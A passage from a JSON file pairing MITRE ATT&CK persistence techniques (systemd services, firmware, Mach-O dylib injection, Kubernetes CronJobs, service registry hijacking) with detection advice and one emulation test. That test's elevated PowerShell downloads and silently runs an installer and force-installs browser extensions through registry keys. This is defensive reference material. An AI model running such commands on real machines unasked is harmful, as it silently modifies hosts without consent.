to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system
, /usr/lib/systemd/system/
, and /home//.config/systemd/user/
directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -\u2013type=service \u2013all
. Analyze the contents of .service
files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service
may reveal malicious systemd service execution.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "root",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1543": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5",
- "created": "2020-01-10T16:03:18.865Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1543",
- "url": "https://attack.mitre.org/techniques/T1543"
- },
- {
- "source_name": "AppleDocs Launch Agent Daemons",
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017."
- },
- {
- "source_name": "TechNet Services",
- "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx",
- "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016."
- },
- {
- "source_name": "OSX Malware Detection",
- "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
- "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ",
- "modified": "2022-04-20T16:52:58.415Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Create or Modify System Process",
- "x_mitre_detection": "Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Creation",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Modification",
- "Driver: Driver Load",
- "Command: Command Execution",
- "File: File Creation",
- "Service: Service Modification",
- "Process: OS API Execution",
- "Service: Service Creation",
- "Process: Process Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1133": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "Containers",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "ExtraHop",
- "David Fiser, @anu4is, Trend Micro",
- "Alfredo Oliveira, Trend Micro",
- "Idan Frimark, Cisco",
- "Rory McCune, Aqua Security",
- "Yuval Avrahami, Palo Alto Networks",
- "Jay Chen, Palo Alto Networks",
- "Brad Geesaman, @bradgeesaman",
- "Magno Logan, @magnologan, Trend Micro",
- "Ariel Shuper, Cisco",
- "Yossi Weizman, Azure Defender Research Team",
- "Vishwas Manral, McAfee",
- "Daniel Oakley",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:44.421Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1133",
- "url": "https://attack.mitre.org/techniques/T1133"
- },
- {
- "external_id": "CAPEC-555",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/555.html"
- },
- {
- "source_name": "MacOS VNC software for Remote Desktop",
- "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac",
- "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021."
- },
- {
- "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/",
- "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
- "source_name": "Volexity Virtual Private Keylogging"
- },
- {
- "source_name": "Trend Micro Exposed Docker Server",
- "url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html",
- "description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021."
- },
- {
- "source_name": "Unit 42 Hildegard Malware",
- "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
- "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
- }
- ],
- "modified": "2021-08-19T16:57:27.209Z",
- "name": "External Remote Services",
- "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.",
- "x_mitre_version": "2.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Logon Session: Logon Session Metadata",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1133"
- },
- "atomic_tests": [
- {
- "name": "Running Chrome VPN Extensions via the Registry 2 vpn extension",
- "auto_generated_guid": "4c8db261-a58b-42a6-a866-0a294deedde4",
- "description": "Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see \"T1133\\src\\list of vpn extension.txt\" to view complete list\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "chrome_url": {
- "description": "chrome installer download URL",
- "type": "url",
- "default": "https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD62DDBC-14C6-20BD-706F-C7744738E422%7D%26lang%3Den%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/chrome/install/ChromeStandaloneSetup64.exe"
- },
- "extension_id": {
- "description": "chrome extension id",
- "type": "string",
- "default": "\"fcfhplploccackoneaefokcmbjfbkenj\", \"fdcgdnkidjaadafnichfpabhfomcebme\"\n"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Chrome must be installed\n",
- "prereq_command": "if ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest -OutFile $env:temp\\ChromeStandaloneSetup64.exe #{chrome_url}\nStart-Process $env:temp\\ChromeStandaloneSetup64.exe /S\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "$extList = #{extension_id}\nforeach ($extension in $extList) {\n New-Item -Path HKLM:\\Software\\Wow6432Node\\Google\\Chrome\\Extensions\\$extension -Force\n New-ItemProperty -Path \"HKLM:\\Software\\Wow6432Node\\Google\\Chrome\\Extensions\\$extension\" -Name \"update_url\" -Value \"https://clients2.google.com/service/update2/crx\" -PropertyType \"String\" -Force}\nStart chrome\nStart-Sleep -Seconds 30\nStop-Process -Name \"chrome\"\n",
- "cleanup_command": "$extList = #{extension_id}\nforeach ($extension in $extList) {\nRemove-Item -Path \"HKLM:\\Software\\Wow6432Node\\Google\\Chrome\\Extensions\\$extension\" -ErrorAction Ignore}\n"
- }
- }
- ]
- },
- "T1109": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:22.374Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1109",
- "url": "https://attack.mitre.org/techniques/T1109"
- },
- {
- "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.",
- "source_name": "SanDisk SMART"
- },
- {
- "url": "https://www.smartmontools.org/",
- "description": "smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.",
- "source_name": "SmartMontools"
- },
- {
- "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html",
- "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.",
- "source_name": "ITWorld Hard Disk Health Dec 2014"
- }
- ],
- "modified": "2020-10-23T15:04:14.614Z",
- "name": "Component Firmware",
- "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "File monitoring",
- "Host intrusion prevention systems",
- "Anti-virus"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM"
- ],
- "x_mitre_system_requirements": [
- "Ability to update component device firmware from the host operating system."
- ]
- },
- "atomic_tests": []
- },
- "T1546.006": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847",
- "created": "2020-01-24T14:21:52.750Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.006",
- "url": "https://attack.mitre.org/techniques/T1546/006"
- },
- {
- "source_name": "Malware Persistence on OS X",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017."
- },
- {
- "source_name": "Writing Bad Malware for OSX",
- "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
- "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)",
- "modified": "2022-04-20T17:08:21.101Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "LC_LOAD_DYLIB Addition",
- "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "File: File Modification",
- "Command: Command Execution",
- "File: File Metadata",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1053.007": {
- "technique": {
- "x_mitre_platforms": [
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Center for Threat-Informed Defense (CTID)",
- "Vishwas Manral, McAfee",
- "Yossi Weizman, Azure Defender Research Team"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096",
- "type": "attack-pattern",
- "created": "2021-03-29T17:06:22.247Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.007",
- "url": "https://attack.mitre.org/techniques/T1053/007"
- },
- {
- "source_name": "Kubernetes Jobs",
- "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/",
- "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021."
- },
- {
- "source_name": "Kubernetes CronJob",
- "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/",
- "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021."
- },
- {
- "source_name": "Threat Matrix for Kubernetes",
- "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
- "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021."
- }
- ],
- "modified": "2022-04-01T13:06:58.794Z",
- "name": "Kubernetes Cronjob",
- "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Container: Container Creation",
- "Scheduled Job: Scheduled Job Creation",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1053.007"
- },
- "atomic_tests": []
- },
- "T1542.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jean-Ian Boutin, ESET",
- "McAfee",
- "Ryan Becwar"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada",
- "type": "attack-pattern",
- "created": "2019-12-19T19:43:34.507Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1542.001",
- "url": "https://attack.mitre.org/techniques/T1542/001"
- },
- {
- "external_id": "CAPEC-532",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/532.html"
- },
- {
- "url": "https://en.wikipedia.org/wiki/BIOS",
- "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
- "source_name": "Wikipedia BIOS"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface",
- "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
- "source_name": "Wikipedia UEFI"
- },
- {
- "url": "http://www.uefi.org/about",
- "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
- "source_name": "About UEFI"
- },
- {
- "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
- "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
- "source_name": "MITRE Trustworthy Firmware Measurement"
- },
- {
- "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about",
- "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
- "source_name": "MITRE Copernicus"
- },
- {
- "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/",
- "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
- "source_name": "McAfee CHIPSEC Blog"
- },
- {
- "url": "https://github.com/chipsec/chipsec",
- "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
- "source_name": "Github CHIPSEC"
- },
- {
- "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html",
- "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.",
- "source_name": "Intel HackingTeam UEFI Rootkit"
- }
- ],
- "modified": "2020-05-19T21:22:37.865Z",
- "name": "System Firmware",
- "description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Firmware: Firmware Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Host intrusion prevention systems",
- "Anti-virus",
- "File monitoring"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1574.011": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c",
- "created": "2020-03-13T11:42:14.444Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.011",
- "url": "https://attack.mitre.org/techniques/T1574/011"
- },
- {
- "source_name": "Tweet Registry Perms Weakness",
- "url": "https://twitter.com/r0wdy_/status/936365549553991680",
- "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018."
- },
- {
- "source_name": "insecure_reg_perms",
- "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/",
- "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021."
- },
- {
- "source_name": "Kansa Service related collectors",
- "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html",
- "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019."
- },
- {
- "source_name": "malware_hides_service",
- "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/",
- "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021."
- },
- {
- "source_name": "Autoruns for Windows",
- "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
- "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020."
- },
- {
- "source_name": "Registry Key Security",
- "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN",
- "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017."
- },
- {
- "source_name": "microsoft_services_registry_tree",
- "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree",
- "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021."
- },
- {
- "source_name": "troj_zegost",
- "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost",
- "description": "Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/478.html",
- "source_name": "capec",
- "external_id": "CAPEC-478"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services
. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand
key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance
key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance
key is not already present and if an adversary-controlled user has the Create Subkey
permission, adversaries may create the Performance
key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters
key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll
.(Citation: malware_hides_service)",
- "modified": "2022-05-05T04:53:45.640Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Hijack Execution Flow: Services Registry Permissions Weakness",
